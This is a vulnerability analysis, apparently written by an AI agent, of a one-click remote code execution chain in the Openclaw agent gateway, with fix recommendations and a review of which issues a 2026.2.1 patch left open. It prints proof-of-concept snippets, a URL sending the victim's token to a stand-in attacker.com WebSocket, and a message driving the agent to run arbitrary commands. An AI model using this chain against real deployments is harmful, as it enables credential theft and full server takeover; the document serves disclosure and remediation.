Openclaw 1-click RCE Vulnerability Analysis
By Zeroverse AI Agent
Executive Summary#
Vulnerability Type: 1-click Account Takeover to Remote Code Execution (RCE)
Discoverer: Ethiack’s security research tool Hackian (discovered automatically within 1 hour 40 minutes)
Fix Status: openclaw-2026.2.1 has partially mitigated this vulnerability through gateway URL parameter override protection, but 3 critical security issues remain unfixed
Vulnerability Overview#
Openclaw (formerly Moltbot/Clawdbot) has a critical 1-click RCE vulnerability where an attacker only needs to trick a victim into visiting a malicious website to:
- Override Gateway URL parameters via CSRF attack
- Leak authentication tokens stored in localStorage
- Establish WebSocket connection to local Gateway using leaked token
- Execute arbitrary system commands, gaining complete server control
Attack Characteristics:
- ✅ 1-click trigger: Victim only needs to visit a malicious page
- ✅ No privileges required: Attacker needs no credentials
- ✅ Bypasses same-origin policy: Leverages WebSocket’s lack of CORS mechanism
- ✅ Affects both local and public deployments: Even local deployments are affected
- ✅ Fully automated: Attack chain is completely automated
Detailed Attack Chain Breakdown#
Phase 1: Token Leakage (CSRF + Parameter Override)#
Victim Browser
↓
Visits malicious website (lolada1.html)
↓
Malicious website opens new window pointing to /lolada2
↓
Main window redirects to:
http://127.0.0.1:18789/chat?gatewayUrl=wss://attacker.com/gw
↓
Gateway Dashboard reads URL parameter gatewayUrl
↓
Overrides original gatewayUrl setting
↓
Automatically connects to attacker-provided WebSocket server
↓
Sends authentication message (contains token from localStorage)
↓
Attacker's WebSocket server captures and saves token
Key Code Flow:
- URL Parameter Reading (
ui/src/ui/app-settings.ts:98-105):
function applySettingsFromUrl() {
const params = new URLSearchParams(window.location.search);
const gatewayUrl = params.get("gatewayUrl"); // ❌ Direct read, no validation
if (gatewayUrl) {
// ❌ Direct override, no whitelist validation
host.settings.gatewayUrl = gatewayUrl;
}
}
- WebSocket Connection Establishment (
ui/src/ui/app-gateway.ts:120):
function connectGateway() {
// ❌ Uses potentially overridden gatewayUrl
const ws = new WebSocket(host.settings.gatewayUrl);
ws.onopen = () => {
// Sends authentication message, containing token
const auth = {
token: host.settings.token // ❌ token sent to attacker server
};
ws.send(JSON.stringify({ type: "connect", params: auth }));
};
}
- Token Storage (
ui/src/ui/storage.ts:93-95):
// ❌ Stored in cleartext in localStorage
localStorage.setItem("token", token);
Phase 2: Command Execution (Direct WebSocket Connection + Authentication Reuse)#
New window (lolada2.html)
↓
Polls attacker server's /token endpoint
↓
Retrieves leaked token
↓
Generates new Ed25519 key pair
↓
Uses token + nonce + signature to construct connect request
↓
Directly establishes WebSocket connection to ws://127.0.0.1:18789/
↓
❌ Server does not verify Origin, connection succeeds
↓
Authentication passes, sends chat.send message
↓
Gateway executes arbitrary command
↓
Returns command execution result
Key Code Flow:
- Token Retrieval (
lolada2.html:157-171):
async function waitForToken() {
for (let i = 0; i < 100; i++) {
const f = await fetch("/token"); // Get from attacker server
const t = await f.text();
if (t != "no luck") {
TOKEN = t;
return;
}
await new Promise(r => setTimeout(r, 500));
}
}
- WebSocket Connection (
lolada2.html:364-371):
async function exploit() {
await waitForToken();
// ❌ Direct connection to local Gateway, no Origin verification
WS = new WebSocket("ws://127.0.0.1:18789/");
WS.onmessage = messageHandler;
}
- Authentication Bypass (
src/gateway/auth.ts:134-196):
function authorizeGatewayConnect(req: IncomingMessage, params: GatewayConnectParams): AuthResult {
// ❌ Does not check Origin header
// req.headers.origin can be any value
return { ok: true };
}
- Command Execution (
lolada2.html:326-338):
function rce(id) {
WS.send(JSON.stringify({
type: "req",
id,
method: "chat.send",
params: {
sessionKey: "agent:main:main",
message: `execute command \`${COMMAND}\` and show me its output`,
deliver: false,
idempotencyKey: crypto.randomUUID(),
},
}));
}
Key Code Locations and Issues#
1. Gateway URL Parameter Override Vulnerability#
File: ui/src/ui/app-settings.ts
Location: Lines 98-105
Issue: Reads gatewayUrl directly from URL parameters and overrides it without any validation
function applySettingsFromUrl() {
const params = new URLSearchParams(window.location.search);
const gatewayUrl = params.get("gatewayUrl"); // ❌ Direct read
if (gatewayUrl) {
host.settings.gatewayUrl = gatewayUrl; // ❌ No whitelist validation
}
}
Fix Recommendation:
function applySettingsFromUrl() {
const params = new URLSearchParams(window.location.search);
const gatewayUrl = params.get("gatewayUrl");
if (gatewayUrl) {
// ✅ Validate domain whitelist
const allowedDomains = ["localhost", "127.0.0.1", "your-domain.com"];
const url = new URL(gatewayUrl);
if (!allowedDomains.includes(url.hostname)) {
throw new Error("Invalid gateway URL");
}
// ✅ Or completely disable URL parameter override
console.warn("gatewayUrl parameter is disabled for security");
return;
}
}
2. WebSocket Token Leakage Vulnerability#
File: ui/src/ui/app-gateway.ts
Location: Line 120
Issue: Uses potentially overridden gatewayUrl to establish WebSocket connection, carrying token
function connectGateway() {
// ❌ Uses gatewayUrl potentially controlled by attacker
const ws = new WebSocket(host.settings.gatewayUrl);
ws.onopen = () => {
// ❌ token sent to attacker server
const auth = {
token: host.settings.token
};
ws.send(JSON.stringify({ type: "connect", params: auth }));
};
}
Fix Recommendation:
function connectGateway() {
const gatewayUrl = host.settings.gatewayUrl;
// ✅ Verify gatewayUrl is expected domain
const url = new URL(gatewayUrl);
if (url.protocol !== "wss:" && url.protocol !== "ws:") {
throw new Error("Invalid gateway protocol");
}
// ✅ If URL was modified, require user confirmation
if (url.hostname !== "expected.hostname") {
const confirmed = confirm(
`You are connecting to ${gatewayUrl}. Do you want to continue?`
);
if (!confirmed) return;
}
const ws = new WebSocket(gatewayUrl);
// ...
}
3. Token Cleartext Storage Vulnerability#
File: ui/src/ui/storage.ts
Location: Lines 93-95
Issue: Token stored in cleartext in localStorage, readable by any JS code
// ❌ Stored in cleartext in localStorage
localStorage.setItem("token", token);
Fix Recommendation:
// ✅ Use HttpOnly Cookie (server-side)
// Or use SessionStorage (session-level)
// Or use Web Crypto API to encrypt before storage
// Client-side temporary solution: Use SessionStorage
sessionStorage.setItem("token", token);
4. WebSocket Origin Validation Missing Vulnerability#
File: src/gateway/auth.ts
Location: Lines 134-196 (authorizeGatewayConnect)
Issue: Receives req parameter (containing headers), but does not check Origin
function authorizeGatewayConnect(req: IncomingMessage, params: GatewayConnectParams): AuthResult {
// ❌ Does not check req.headers.origin
// req.headers.origin can be any value
// Authentication logic...
return { ok: true };
}
Fix Recommendation:
function authorizeGatewayConnect(req: IncomingMessage, params: GatewayConnectParams): AuthResult {
// ✅ Check Origin header
const origin = req.headers.origin;
const allowedOrigins = ["https://your-frontend.com", "http://localhost:3000"];
if (origin && !allowedOrigins.includes(origin)) {
console.warn(`Rejected connection from unauthorized origin: ${origin}`);
return {
ok: false,
error: "Unauthorized origin"
};
}
// Authentication logic...
return { ok: true };
}
5. WebSocket Connection Origin Read but Not Validated#
File: src/gateway/server/ws-connection.ts
Location: Line 73
Issue: Reads requestOrigin but only uses it for logging, no security validation
// ❌ Only for logging, not validated
const requestOrigin = req.headers.origin;
console.log(`Connection from origin: ${requestOrigin}`);
Fix Recommendation:
// ✅ Validate Origin and reject unauthorized requests
const requestOrigin = req.headers.origin;
const allowedOrigins = ["https://your-frontend.com", "http://localhost:3000"];
if (requestOrigin && !allowedOrigins.includes(requestOrigin)) {
console.warn(`Rejected connection from unauthorized origin: ${requestOrigin}`);
return false; // Reject connection
}
Trigger Conditions#
Client-side Conditions#
- ✅ User logged in with valid token stored in localStorage
- ✅ User visits malicious website (lolada1.html)
Server-side Conditions#
- ✅ Gateway Dashboard accessible (port 18789)
- ✅ WebSocket service does not validate Origin
- ✅ No restriction on gatewayUrl source (no whitelist)
Attack Vectors#
- ✅ CSRF override triggered via URL parameter gatewayUrl
- ✅ Browser initiates direct WebSocket connection to local Gateway (WebSocket has no CORS restriction)
Impact Scope#
Local Deployment#
- ⚠️ Severely affected
- Attacker can complete 1-click RCE by simply visiting attacker page via browser
- WebSocket has no CORS mechanism, can directly connect to local Gateway
Public Deployment#
- ⚠️ Severely affected
- Attacker can also leverage gatewayUrl override to cause token leakage and subsequent RCE
- Victim can be attacked by visiting malicious website
Affected Functions#
- Authentication Mechanism: Token leakage
- WebSocket Communication: No Origin validation
- Console UI: URL parameter override
Potential Damage#
- ✅ Arbitrary command execution
- ✅ File read/write
- ✅ Lateral movement
- ✅ Persistence
- ✅ Sensitive information theft (databases, API keys, SSH keys)
- ✅ Complete server control
POC Reproduction#
Preparation#
- Run attacker server (
exploit.py):
pip install flask flask-sock
python exploit.py --host attacker.com --command "id"
- Deploy malicious pages:
- Deploy lolada1.html and lolada2.html to attacker website
- Modify TARGET in lolada1.html line 96 to victim’s Gateway address
Reproduction Steps#
- Victim visits malicious page:
https://attacker.com/lolada1
Click “Launch Exploit” button:
- Main window redirects to:
http://127.0.0.1:18789/chat?gatewayUrl=wss://attacker.com/gw - New window opens:
https://attacker.com/lolada2
- Main window redirects to:
Token leakage:
- Gateway Dashboard connects to attacker’s WebSocket server
- Token is sent and saved on attacker server
Command execution:
- New window retrieves token from attacker server
- Connects to local Gateway (ws://127.0.0.1:18789/)
- Sends command execution request
- Returns command execution result
Expected Results#
Attacker server console:
Exploit successful: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Victim browser (lolada2 page):
Connected to server localhost, executing command `id`...
Agent message: uid=0(root) gid=0(root) groups=0(root)
Fix Analysis: Actual Patches in openclaw-2026.2.1#
Overview of Fix Status#
| Code Location | Issue Type | Fix Status | Fix Effectiveness |
|---|---|---|---|
| app-settings.ts:117-124 | Gateway URL parameter override | ✅ Fixed | High |
| app-gateway.ts:121-122 | WebSocket connection establishment | ✅ Fixed (indirect) | High |
| storage.ts:87 | Token cleartext storage | ❌ Not fixed | - |
| auth.ts:238-291 | authorizeGatewayConnect does not check Origin | ❌ Not fixed | - |
| ws-connection.ts:71 | requestOrigin only used for logging | ❌ Not fixed | - |
Summary: 2 out of 5 critical issues have been fixed (40% fix rate)
✅ Fixed Issue 1: Gateway URL Parameter Override#
Vulnerability Description: Attackers could use URL parameter ?gatewayUrl=wss://attacker.com/gw to directly override gatewayUrl, causing the browser to connect to attacker’s WebSocket server and leak tokens.
Actual Patch in openclaw-2026.2.1:
File: ui/src/ui/app-settings.ts (lines 117-124)
// Before fix (vulnerable code)
if (gatewayUrlRaw != null) {
const gatewayUrl = gatewayUrlRaw.trim();
if (gatewayUrl) {
host.settings.gatewayUrl = gatewayUrl; // ❌ Direct override, no validation
}
}
// After fix (openclaw-2026.2.1)
if (gatewayUrlRaw != null) {
const gatewayUrl = gatewayUrlRaw.trim();
if (gatewayUrl && gatewayUrl !== host.settings.gatewayUrl) {
host.pendingGatewayUrl = gatewayUrl; // ✅ Set as pending state
}
params.delete("gatewayUrl");
shouldCleanUrl = true;
}
Why This Fix Is Effective:
- ✅ No Direct Override: The patch no longer directly modifies
settings.gatewayUrlfrom URL parameters - ✅ User Confirmation Mechanism: Uses
pendingGatewayUrl+ confirmation dialog (gateway-url-confirmation.ts) - ✅ Clear Warning: The dialog displays “Only confirm if you trust this URL. Malicious URLs can compromise your system.”
- ✅ Blocks 1-click Attacks: Users must actively click “Confirm” to apply new gatewayUrl
Security Improvement: CVSS reduced from 10.0 (Critical) to High risk (requires user interaction)
Attack Chain Disruption:
Before Fix:
Attacker's page → Redirect with ?gatewayUrl=wss://attacker.com/gw
→ Browser automatically connects → Token leaked → RCE ✅
After Fix:
Attacker's page → Redirect with ?gatewayUrl=wss://attacker.com/gw
→ Gateway set to pending → User must click "Confirm" ❌
→ If user confirms (unlikely) → Still requires attacker-controlled WebSocket server
✅ Fixed Issue 2: WebSocket Token Leakage (Indirect Fix)#
Vulnerability Description: Using potentially overridden gatewayUrl to establish WebSocket connection, carrying token sent to attacker’s server.
Actual Patch in openclaw-2026.2.1:
File: ui/src/ui/app-gateway.ts (lines 121-122)
// Before fix (vulnerable code)
host.client = new GatewayBrowserClient({
url: host.settings.gatewayUrl, // ❌ Uses potentially attacker-controlled URL
token: host.settings.token,
});
// After fix (openclaw-2026.2.1)
host.client = new GatewayBrowserClient({
url: host.settings.gatewayUrl, // ✅ Code unchanged, but settings.gatewayUrl now protected
token: host.settings.token.trim() ? host.settings.token : undefined,
password: host.password.trim() ? host.password : undefined,
// ...
});
Why This Fix Is Effective (Indirectly):
- ✅ Indirect Protection: Due to the fix in app-settings.ts,
settings.gatewayUrlnow requires user confirmation before update - ✅ Blocks Automatic Leakage: Even if URL contains gatewayUrl parameter, automatic connection to malicious server is prevented
- ✅ Security Improvement: The
connectGatewayfunction directly usessettings.gatewayUrl, which is not directly affected by URL parameters
Security Improvement: Token leakage through automatic gatewayUrl override is prevented
❌ Unfixed Issue 3: Token Cleartext Storage#
Vulnerability Description: Token stored in cleartext in localStorage, readable by any JavaScript code.
Actual Code in openclaw-2026.2.1:
File: ui/src/ui/storage.ts (line 87)
// Before fix (vulnerable code)
localStorage.setItem("token", token); // ❌ Cleartext storage
// After fix (openclaw-2026.2.1)
export function saveSettings(next: UiSettings) {
localStorage.setItem(KEY, JSON.stringify(next)); // ❌ Still cleartext storage
}
Why This Fix Is Ineffective:
❌ Not Fixed: Still uses localStorage to store tokens ❌ High Risk: Tokens stored in cleartext, accessible to any XSS attack or malicious script ⚠️ Residual Risk: Even if gatewayUrl override is fixed, if user confirms connection to malicious URL via other means, token can still be leaked
Current Risk:
- XSS attacks can steal tokens
- Malicious browser extensions can read localStorage
- If user is socially engineered to confirm connection to malicious URL, token will be sent
Recommended Fixes:
- P0 - Use SessionStorage: Store token in sessionStorage, automatically cleared when browser closes
- P0 - HttpOnly Cookie: Implement server-side cookies, inaccessible to JavaScript
- P1 - Web Crypto API Encryption: Encrypt before storing in localStorage
❌ Unfixed Issue 4: WebSocket Origin Validation Missing#
Vulnerability Description: authorizeGatewayConnect function receives req parameter (containing headers.origin), but does not check Origin header. Attackers can establish WebSocket connections from arbitrary origins.
Actual Code in openclaw-2026.2.1:
File: src/gateway/auth.ts (lines 238-291)
// Before fix (vulnerable code)
function authorizeGatewayConnect(req: IncomingMessage, params: GatewayConnectParams): AuthResult {
// ❌ Does not check req.headers.origin
// req.headers.origin can be any value
return { ok: true };
}
// After fix (openclaw-2026.2.1)
export async function authorizeGatewayConnect(params: {
auth: ResolvedGatewayAuth;
connectAuth?: ConnectAuth | null;
req?: IncomingMessage; // ✅ Receives req parameter
trustedProxies?: string[];
tailscaleWhois?: TailscaleWhoisLookup;
}): Promise<GatewayAuthResult> {
const { auth, connectAuth, req, trustedProxies } = params;
// ❌ Still does not check req.headers.origin
// Authentication logic...
return { ok: false, reason: "unauthorized" };
}
Why This Fix Is Ineffective:
❌ Not Fixed: Although receives req parameter, Origin header is never checked ❌ High Risk: No Origin whitelist validation ❌ Residual Risk: Attackers can establish WebSocket connections from arbitrary origins
Current Risk:
- WebSocket has no CORS mechanism, attackers can bypass same-origin policy
- Even with correct token, if attacker obtains token, can establish connection from any origin
- Local deployment risk: Malicious websites can directly connect to
ws://127.0.0.1:18789/
Recommended Fix:
function authorizeGatewayConnect(params: { ... }): Promise<GatewayAuthResult> {
const { req, ... } = params;
// ✅ Add Origin validation
const origin = req?.headers.origin;
const allowedOrigins = ["https://your-frontend.com", "http://localhost:3000"];
if (origin && !allowedOrigins.includes(origin)) {
console.warn(`Rejected connection from unauthorized origin: ${origin}`);
return { ok: false, reason: "unauthorized_origin" };
}
// Original authentication logic...
}
❌ Unfixed Issue 5: WebSocket Origin Validation Missing (ws-connection.ts)#
Vulnerability Description: Reads requestOrigin but only used for logging, no security validation.
Actual Code in openclaw-2026.2.1:
File: src/gateway/server/ws-connection.ts (line 71, 163, 173)
// Before fix (vulnerable code)
const requestOrigin = req.headers.origin; // ❌ Only for logging, not validated
console.log(`Connection from origin: ${requestOrigin}`);
// After fix (openclaw-2026.2.1)
const requestOrigin = headerValue(upgradeReq.headers.origin); // ✅ Reads Origin
// ...
const closeContext = {
// ...
origin: requestOrigin, // Line 163: ❌ Only used for logging
userAgent: requestUserAgent,
// ...
};
// ...
logFn(
`closed before connect conn=${connId} ... origin=${requestOrigin ?? "n/a"} ...`, // Line 173: ❌ Only for logging
closeContext,
);
Why This Fix Is Ineffective:
❌ Not Fixed: Reads requestOrigin, but only used for logging ❌ High Risk: No security validation based on Origin ❌ Residual Risk: No rejection of connections from illegal origins
Current Risk:
- Same as Issue 4, attackers can establish connections from arbitrary origins
- Origin information only used for audit and logging, no security protection
Recommended Fix:
const requestOrigin = headerValue(upgradeReq.headers.origin);
const allowedOrigins = ["https://your-frontend.com", "http://localhost:3000"];
// ✅ Early reject illegal Origin
if (requestOrigin && !allowedOrigins.includes(requestOrigin)) {
console.warn(`Rejected connection from unauthorized origin: ${requestOrigin}`);
socket.close(1008, "unauthorized origin");
return;
}
Conclusions#
openclaw-2026.2.1 version has partially fixed the 1-click RCE vulnerability:
✅ Fixed (2/5):
- Gateway URL parameter override - via pendingGatewayUrl + user confirmation mechanism
- WebSocket Token leakage - indirect fix (gatewayUrl no longer easily overwritten)
❌ Not Fixed (3/5):
- Token cleartext storage - still uses localStorage
- authorizeGatewayConnect does not check Origin - no Origin whitelist validation
- ws-connection.ts Origin only used for logging - no security validation